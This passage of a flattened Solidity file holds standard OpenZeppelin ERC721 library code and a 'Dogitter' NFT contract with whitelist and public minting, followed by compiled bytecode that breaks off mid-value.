from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File @openzeppelin/contracts/utils/Counters.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/cryptography/MerkleProof.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File contracts/Dogitter.sol // contracts/GameItem.sol pragma solidity ^0.8.0; contract Dogitter is ERC721, Ownable, ERC721Enumerable { using Strings for uint256; using Counters for Counters.Counter; string public baseURI; Counters.Counter private _tokenIds; // used to validate whitelists bytes32 public whitelistMerkleRoot; uint256 public immutable maxWhitelistMint = 1000; uint256 public whitelistMinted; mapping(address => int256) public claimedWL; bool public canMintWL = false; mapping(address => int256) public claimedPL; bool public canMintPL = false; uint256 public immutable maxMint = 1999; constructor( string memory name, string memory symbol, string memory _baseURI ) ERC721(name, symbol) { setBaseURI(_baseURI); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } /** * @dev validates merkleProof */ modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) { require( MerkleProof.verify( merkleProof, root, keccak256(abi.encodePacked(msg.sender)) ), "Address does not exist in list" ); _; } /** * @dev validates canMint */ modifier canMint() { require( totalSupply() < maxMint, "Not enough tokens remaining to mint" ); _; } // ============ PUBLIC FUNCTIONS FOR MINTING ============ function mintWL(bytes32[] calldata merkleProof) public isValidMerkleProof(merkleProof, whitelistMerkleRoot) canMint { require(canMintWL,"You cannt mint now"); require(claimedWL[msg.sender] < 2, "Exceeds max per wallet"); require(whitelistMinted < maxWhitelistMint, "Not enough wl tokens remaining to mint"); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(msg.sender, newItemId); claimedWL[msg.sender]++; whitelistMinted++; } function mint() public canMint { require(canMintPL,"You cannt mint now"); require(claimedPL[msg.sender] < 1, "Exceeds max per wallet"); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(msg.sender, newItemId); claimedPL[msg.sender]++; } // ============ PUBLIC READ-ONLY FUNCTIONS ============ function tokenURI(uint256 tokenId) public override view returns (string memory) { require(_exists(tokenId), "Token does not exist."); return string( abi.encodePacked(baseURI, Strings.toString(tokenId)) ); } // ============ OWNER-ONLY ADMIN FUNCTIONS ============ function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } function setWhitelistMerkleRoot(bytes32 merkleRoot) external onlyOwner { whitelistMerkleRoot = merkleRoot; } function setCanMintWL() public onlyOwner{ canMintWL=!canMintWL; } function setCanMintPL() public onlyOwner{ canMintPL=!canMintPL; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c806370a082311161011a578063aa98e0c6116100ad578063c87b56dd1161007c578063c87b56dd146105b5578063d4584cfe146105e5578063e985e9c514610603578063e9db603714610633578063f2fde38b1461063d57610206565b8063aa98e0c61461052f578063b88d4fde1461054d578063bd32fb6614610569578063bd612d701461058557610206565b80638da5cb5b116100e95780638da5cb5b146104cd57806395d89b41146104eb5780639ba5f75314610509578063a22cb4651461051357610206565b806370a0823114610457578063715018a6146104875780637501f741146104915780638990694f146104af57610206565b80632f745c591161019d57806342842e0e1161016c57806342842e0e146103a15780634f6ccce7146103bd57806355f804b3146103ed5780636352211e146104095780636c0360eb1461043957610206565b80632f745c5914610305578063309a3686146103355780633794aa47146103535780633e9dacc81461038357610206565b8063095ea7b3116101d9578063095ea7b3146102a55780631249c58b146102c157806318160ddd146102cb57806323b872dd146102e957610206565b806301ffc9a71461020b5780630578f97d1461023b57806306fdde0314610257578063081812fc14610275575b600080fd5b61022560048036038101906102209190613038565b610659565b6040516102329190613643565b60405180910390f35b61025560048036038101906102509190612fca565b61066b565b005b61025f610956565b60405161026c9190613694565b60405180910390f35b61028f600480360381019061028a91906130cb565b6109e8565b60405161029c91906135dc565b60405180910390f35b6102bf60048036038101906102ba9190612f8e565b610a6d565b005b6102c9610b85565b005b6102d3610d39565b6040516102e09190613996565b60405180910390f35b61030360048036038101906102fe9190612e88565b610d46565b005b61031f600480360381019061031a9190612f8e565b610da6565b60405161032c9190613996565b60405180910390f35b61033d610e4b565b60405161034a9190613996565b60405180910390f35b61036d60048036038101906103689190612e23565b610e6f565b60405161037a9190613679565b60405180910390f35b61038b610e87565b6040516103989190613643565b60405180910390f35b6103bb60048036038101906103b69190612e88565b610e9a565b005b6103d760048036038101906103d291906130cb565b610eba565b6040516103e49190613996565b60405180910390f35b6104076004803603810190610402919061308a565b610f51565b005b610423600480360381019061041e91906130cb565b610fe7565b60405161043091906135dc565b60405180910390f35b610441611099565b60405161044e9190613694565b60405180910390f35b610471600480360381019061046c9190612e23565b611127565b60405161047e9190613996565b60405180910390f35b61048f6111df565b005b610499611267565b6040516104a69190613996565b60405180910390f35b6104b761128b565b6040516104c49190613996565b60405180910390f35b6104d5611291565b6040516104e291906135dc565b60405180910390f35b6104f36112bb565b6040516105009190613694565b60405180910390f35b61051161134d565b005b61052d60048036038101906105289190612f52565b6113f5565b005b61053761140b565b604051610544919061365e565b60405180910390f35b61056760048036038101906105629190612ed7565b611411565b005b610583600480360381019061057e919061300f565b611473565b005b61059f600480360381019061059a9190612e23565b6114f9565b6040516105ac9190613679565b60405180910390f35b6105cf60048036038101906105ca91906130cb565b611511565b6040516105dc9190613694565b60405180910390f35b6105ed61158d565b6040516105fa9190613643565b60405180910390f35b61061d60048036038101906106189190612e4c565b6115a0565b60405161062a9190613643565b60405180910390f35b61063b611634565b005b61065760048036038101906106529190612e23565b6116dc565b005b6000610664826117d4565b9050919050565b8181600d546106e2838380806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505082336040516020016106c7919061359d565b6040516020818303038152906040528051906020012061184e565b610721576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610718906137f6565b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000007cf61074a610d39565b1061078a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610781906137b6565b60405180910390fd5b601060009054906101000a900460ff166107d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d0906136b6565b60405180910390fd5b6002600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541261085b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085290613976565b60405180910390fd5b7f00000000000000000000000000000000000000000000000000000000000003e8600e54106108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b690613876565b60405180910390fd5b6108c9600c611865565b60006108d5600c61187b565b90506108e13382611889565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061093190613c78565b9190505550600e600081548092919061094990613cc1565b9190505550505050505050565b60606000805461096590613c15565b80601f016020809104026020016040519081016040528092919081815260200182805461099190613c15565b80156109de5780601f106109b3576101008083540402835291602001916109de565b820191906000526020600020905b8154815290600101906020018083116109c157829003601f168201915b5050505050905090565b60006109f3826118a7565b610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a29906138d6565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a7882610fe7565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090613916565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b08611913565b73ffffffffffffffffffffffffffffffffffffffff161480610b375750610b3681610b31611913565b6115a0565b5b610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613816565b60405180910390fd5b610b80838361191b565b505050565b7f00000000000000000000000000000000000000000000000000000000000007cf610bae610d39565b10610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906137b6565b60405180910390fd5b601260009054906101000a900460ff16610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c34906136b6565b60405180910390fd5b6001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205412610cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb690613976565b60405180910390fd5b610cc9600c611865565b6000610cd5600c61187b565b9050610ce13382611889565b601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610d3190613c78565b919050555050565b6000600980549050905090565b610d57610d51611913565b826119d4565b610d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8d90613936565b60405180910390fd5b610da1838383611ab2565b505050565b6000610db183611127565b8210610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de9906136d6565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b7f00000000000000000000000000000000000000000000000000000000000003e881565b60116020528060005260406000206000915090505481565b601060009054906101000a900460ff1681565b610eb583838360405180602001604052806000815250611411565b505050565b6000610ec4610d39565b8210610f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efc90613956565b60405180910390fd5b60098281548110610f3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610f59611913565b73ffffffffffffffffffffffffffffffffffffffff16610f77611291565b73ffffffffffffffffffffffffffffffffffffffff1614610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906138f6565b60405180910390fd5b80600b9080519060200190610fe3929190612be8565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611090576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108790613856565b60405180910390fd5b80915050919050565b600b80546110a690613c15565b80601f01602080910402602001604051908101604052809291908181526020018280546110d290613c15565b801561111f5780601f106110f45761010080835404028352916020019161111f565b820191906000526020600020905b81548152906001019060200180831161110257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f90613836565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111e7611913565b73ffffffffffffffffffffffffffffffffffffffff16611205611291565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611252906138f6565b60405180910390fd5b6112656000611d19565b565b7f00000000000000000000000000000000000000000000000000000000000007cf81565b600e5481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546112ca90613c15565b80601f01602080910402602001604051908101604052809291908181526020018280546112f690613c15565b80156113435780601f1061131857610100808354040283529160200191611343565b820191906000526020600020905b81548152906001019060200180831161132657829003601f168201915b5050505050905090565b611355611913565b73ffffffffffffffffffffffffffffffffffffffff16611373611291565b73ffffffffffffffffffffffffffffffffffffffff16146113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c0906138f6565b60405180910390fd5b601060009054906101000a900460ff1615601060006101000a81548160ff021916908315150217905550565b611407611400611913565b8383611ddf565b5050565b600d5481565b61142261141c611913565b836119d4565b611461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145890613936565b60405180910390fd5b61146d84848484611f4c565b50505050565b61147b611913565b73ffffffffffffffffffffffffffffffffffffffff16611499611291565b73ffffffffffffffffffffffffffffffffffffffff16146114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906138f6565b60405180910390fd5b80600d8190555050565b600f6020528060005260406000206000915090505481565b606061151c826118a7565b61155b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611552906138b6565b60405180910390fd5b600b61156683611fa8565b6040516020016115779291906135b8565b6040516020818303038152906040529050919050565b601260009054906101000a900460ff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61163c611913565b73ffffffffffffffffffffffffffffffffffffffff1661165a611291565b73ffffffffffffffffffffffffffffffffffffffff16146116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a7906138f6565b60405180910390fd5b601260009054906101000a900460ff1615601260006101000a81548160ff021916908315150217905550565b6116e4611913565b73ffffffffffffffffffffffffffffffffffffffff16611702611291565b73ffffffffffffffffffffffffffffffffffffffff1614611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f906138f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf90613716565b60405180910390fd5b6117d181611d19565b50565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611847575061184682612155565b5b9050919050565b60008261185b8584612237565b1490509392505050565b6001816000016000828254019250508190555050565b600081600001549050919050565b6118a38282604051806020016040528060008152506122d2565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661198e83610fe7565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006119df826118a7565b611a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a15906137d6565b60405180910390fd5b6000611a2983610fe7565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611a9857508373ffffffffffffffffffffffffffffffffffffffff16611a80846109e8565b73ffffffffffffffffffffffffffffffffffffffff16145b80611aa95750611aa881856115a0565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611ad282610fe7565b73ffffffffffffffffffffffffffffffffffffffff1614611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90613736565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273